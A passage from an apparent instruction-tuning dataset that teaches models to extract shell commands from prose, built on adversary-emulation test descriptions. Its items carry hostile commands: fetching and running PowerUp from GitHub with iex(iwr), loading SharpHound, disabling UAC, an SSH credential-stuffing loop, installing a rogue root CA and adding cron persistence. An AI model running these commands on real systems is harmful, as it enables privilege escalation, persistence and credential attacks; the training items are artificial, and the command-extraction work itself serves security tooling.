are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can modify the registry to conceal desktop icons by executing this command via cmd: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoDesktop /t REG_DWORD /d 1 /f. Be aware that certain Group Policy adjustments might need a reboot to apply fully.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoDesktop /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For obtaining hardware information such as the model of a macOS system, run the command: sysctl -n hw.model",
    "output": "{\"command_list\": [\"sysctl -n hw.model\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin can be modified to disable UAC for admin accounts by executing this command: $orgValue =(Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force",
    "output": "{\"command_list\": [\"$orgValue =(Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The PowerShell cmdlet that retrieves details of local groups is: Get-WMIObject Win32_Group",
    "output": "{\"command_list\": [\"Get-WMIObject Win32_Group\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves copying a credential file and trying each username-password combination via SSH with this command: cp \"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\" /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@#{target_host};done",
    "output": "{\"command_list\": [\"cp \\\"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\\\" /tmp/\\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\\\":\\\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\\\":\\\" -f1`@#{target_host};done\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process of creating a root CA involves using openssl with the following commands: openssl genrsa -out #{key_filename} 4096\nopenssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out #{cert_filename}\ncp #{cert_filename} /usr/local/share/certs/\ncertctl rehash\n",
    "output": "{\"command_list\": [\"openssl genrsa -out #{key_filename} 4096\\nopenssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj \\\"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\\\" -out #{cert_filename}\\ncp #{cert_filename} /usr/local/share/certs/\\ncertctl rehash\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test configures a scheduled task by placing a script in /etc/cron.d using this command: echo \"#{command}\" > /etc/cron.d/#{cron_script_name}\n",
    "output": "{\"command_list\": [\"echo \\\"#{command}\\\" > /etc/cron.d/#{cron_script_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
